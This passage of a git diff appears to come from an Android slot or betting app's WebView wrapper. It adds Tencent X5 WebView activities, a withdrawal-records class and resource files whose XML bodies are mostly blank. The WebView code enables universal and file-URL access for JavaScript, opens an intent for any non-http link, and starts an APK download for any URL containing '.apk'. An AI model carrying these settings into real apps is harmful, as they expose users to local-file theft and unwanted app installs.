Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebView2Activity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + } + + @Override + public boolean onConsoleMessage(ConsoleMessage consoleMessage) { + LogUtils.d("consolemessage==" + consoleMessage.message()); + return true; + } + + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + } + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebView2Activity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); +// Constants.isUpdate = false; + new AppUpdater(WebView2Activity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + new AppUpdater(WebView2Activity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + webView.goBack(); + } else {//不能返回了 + WebView2Activity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/base_no/src/main/java/com/web/base/WebViewActivity.java b/base_no/src/main/java/com/web/base/WebViewActivity.java new file mode 100644 index 0000000..e8aa8a4 --- /dev/null +++ b/base_no/src/main/java/com/web/base/WebViewActivity.java @@ -0,0 +1,451 @@ +package com.web.base; + + +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import com.king.app.updater.AppUpdater; +import com.tencent.smtt.export.external.interfaces.WebResourceError; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + + +public class WebViewActivity extends AppCompatActivity { + + private String url; + WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebViewActivity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + LogUtils.d("onReceivedError2 url==" + url + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + LogUtils.d("onReceivedError2 url==" + failingUrl + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebViewActivity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); +// Constants.isUpdate = false; + new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + webView.setOnGenericMotionListener(new View.OnGenericMotionListener() { + @Override + public boolean onGenericMotion(View view, MotionEvent motionEvent) { + return false; + } + }); + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private boolean isNetError = false; + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); + isNetError = true; + + } + + public void onShowNetView() { + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); + isNetError = false; + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + onShowNetView(); + webView.goBack(); + } else {//不能返回了 + WebViewActivity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/base_no/src/main/java/com/web/base/WithDrawListInfo.java b/base_no/src/main/java/com/web/base/WithDrawListInfo.java new file mode 100644 index 0000000..b8bd76e --- /dev/null +++ b/base_no/src/main/java/com/web/base/WithDrawListInfo.java @@ -0,0 +1,81 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +/** + * 提现记录 + */ +public class WithDrawListInfo implements Serializable { + + //邀请记录 + private int total; + private List list; + + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + class WithDrawInfo{ + + private String amount; + private String balance; + private String bankName; + private String createTime; + private String name; + + public String getAmount() { + return amount; + } + + public void setAmount(String amount) { + this.amount = amount; + } + + public String getBalance() { + return balance; + } + + public void setBalance(String balance) { + this.balance = balance; + } + + public String getBankName() { + return bankName; + } + + public void setBankName(String bankName) { + this.bankName = bankName; + } + + public String getCreateTime() { + return createTime; + } + + public void setCreateTime(String createTime) { + this.createTime = createTime; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + } + +} diff --git a/base_no/src/main/res/drawable-anydpi/ic_action_back.xml b/base_no/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/base_no/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/base_no/src/main/res/drawable-hdpi/ic_action_back.png b/base_no/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/base_no/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/base_no/src/main/res/drawable-mdpi/ic_action_back.png b/base_no/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/base_no/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/base_no/src/main/res/drawable-v24/ic_launcher_foreground.xml b/base_no/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/base_no/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/drawable-xhdpi/ic_action_back.png b/base_no/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/base_no/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/base_no/src/main/res/drawable-xxhdpi/ic_action_back.png b/base_no/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/base_no/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/base_no/src/main/res/drawable/ic_launcher_background.xml b/base_no/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/base_no/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_no/src/main/res/drawable/input_bg.xml b/base_no/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/base_no/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/base_no/src/main/res/drawable/pass_word_bg.xml b/base_no/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/base_no/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/base_no/src/main/res/drawable/pass_word_bg1.xml b/base_no/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..83b8c14 --- /dev/null +++ b/base_no/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/drawable/pass_word_bg2.xml b/base_no/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/base_no/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/drawable/shape_btn_bg.xml b/base_no/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/base_no/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/drawable/shape_dialog_bg2.xml b/base_no/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/base_no/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/drawable/shape_dialog_bg3.xml b/base_no/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/base_no/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/drawable/shape_dialog_bg_new.xml b/base_no/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/base_no/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/drawable/shape_notify_typebg.xml b/base_no/src/main/res/drawable/shape_notify_typebg.xml new file mode 100644 index 0000000..3da849f --- /dev/null +++ b/base_no/src/main/res/drawable/shape_notify_typebg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/layout/activity_main.xml b/base_no/src/main/res/layout/activity_main.xml new file mode 100644 index 0000000..48eacca --- /dev/null +++ b/base_no/src/main/res/layout/activity_main.xml @@ -0,0 +1,351 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Dmcslot/src/main/res/layout/activity_main2.xml b/base_no/src/main/res/layout/activity_main2.xml similarity index 96% rename from Dmcslot/src/main/res/layout/activity_main2.xml rename to base_no/src/main/res/layout/activity_main2.xml index 7c4418c..e5137f6 100644 --- a/Dmcslot/src/main/res/layout/activity_main2.xml +++ b/base_no/src/main/res/layout/activity_main2.xml @@ -9,7 +9,7 @@ android:keepScreenOn="true" android:orientation="vertical"> - @@ -298,7 +299,8 @@ + android:padding="10dp" + android:src="@mipmap/ic_email1" /> @@ -330,7 +332,6 @@ android:layout_width="match_parent" android:layout_height="match_parent" android:layout_below="@id/top_vvvv" - android:background="@color/white" android:orientation="vertical" android:visibility="visible"> @@ -340,15 +341,24 @@ android:layout_weight="4" android:gravity="center"> - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_no/src/main/res/layout/activity_notifydetails.xml b/base_no/src/main/res/layout/activity_notifydetails.xml new file mode 100644 index 0000000..bf79f59 --- /dev/null +++ b/base_no/src/main/res/layout/activity_notifydetails.xml @@ -0,0 +1,95 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Dmcslot/src/main/res/layout/activity_notifylist.xml b/base_no/src/main/res/layout/activity_notifylist.xml similarity index 100% rename from Dmcslot/src/main/res/layout/activity_notifylist.xml rename to base_no/src/main/res/layout/activity_notifylist.xml diff --git a/base_no/src/main/res/layout/activity_start.xml b/base_no/src/main/res/layout/activity_start.xml new file mode 100644 index 0000000..ad49056 --- /dev/null +++ b/base_no/src/main/res/layout/activity_start.xml @@ -0,0 +1,294 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/layout/activity_webview.xml b/base_no/src/main/res/layout/activity_webview.xml new file mode 100644 index 0000000..b229360 --- /dev/null +++ b/base_no/src/main/res/layout/activity_webview.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_no/src/main/res/layout/dialog_action_bankinfo.xml b/base_no/src/main/res/layout/dialog_action_bankinfo.xml new file mode 100644 index 0000000..437c064 --- /dev/null +++ b/base_no/src/main/res/layout/dialog_action_bankinfo.xml @@ -0,0 +1,228 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/layout/dialog_action_confirm.xml b/base_no/src/main/res/layout/dialog_action_confirm.xml new file mode 100644 index 0000000..1c67709 --- /dev/null +++ b/base_no/src/main/res/layout/dialog_action_confirm.xml @@ -0,0 +1,71 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/layout/dialog_action_invite.xml b/base_no/src/main/res/layout/dialog_action_invite.xml new file mode 100644 index 0000000..9fd65ee --- /dev/null +++ b/base_no/src/main/res/layout/dialog_action_invite.xml @@ -0,0 +1,89 @@ + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/layout/dialog_action_invite_records.xml b/base_no/src/main/res/layout/dialog_action_invite_records.xml new file mode 100644 index 0000000..f770481 --- /dev/null +++ b/base_no/src/main/res/layout/dialog_action_invite_records.xml @@ -0,0 +1,105 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/layout/dialog_action_withdrawapply.xml b/base_no/src/main/res/layout/dialog_action_withdrawapply.xml new file mode 100644 index 0000000..9f0073e --- /dev/null +++ b/base_no/src/main/res/layout/dialog_action_withdrawapply.xml @@ -0,0 +1,121 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/layout/dialog_select_action.xml b/base_no/src/main/res/layout/dialog_select_action.xml new file mode 100644 index 0000000..846025f --- /dev/null +++ b/base_no/src/main/res/layout/dialog_select_action.xml @@ -0,0 +1,76 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/layout/item_invite_records.xml b/base_no/src/main/res/layout/item_invite_records.xml new file mode 100644 index 0000000..5e3a4c0 --- /dev/null +++ b/base_no/src/main/res/layout/item_invite_records.xml @@ -0,0 +1,22 @@ + + + + + + + + + \ No newline at end of file diff --git a/Dmcslot/src/main/res/layout/item_notify_list.xml b/base_no/src/main/res/layout/item_notify_list.xml similarity index 89% rename from Dmcslot/src/main/res/layout/item_notify_list.xml rename to base_no/src/main/res/layout/item_notify_list.xml index 9cc22d6..45560ba 100644 --- a/Dmcslot/src/main/res/layout/item_notify_list.xml +++ b/base_no/src/main/res/layout/item_notify_list.xml @@ -95,6 +95,22 @@ app:layout_constraintRight_toRightOf="parent" app:layout_constraintTop_toBottomOf="@+id/tv_msg_title" /> + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/base_no/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/base_no/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/base_no/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/base_no/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no/src/main/res/mipmap-hdpi/ic_empty.png b/base_no/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/base_no/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/base_no/src/main/res/mipmap-hdpi/ic_pull_down.png b/base_no/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/base_no/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git 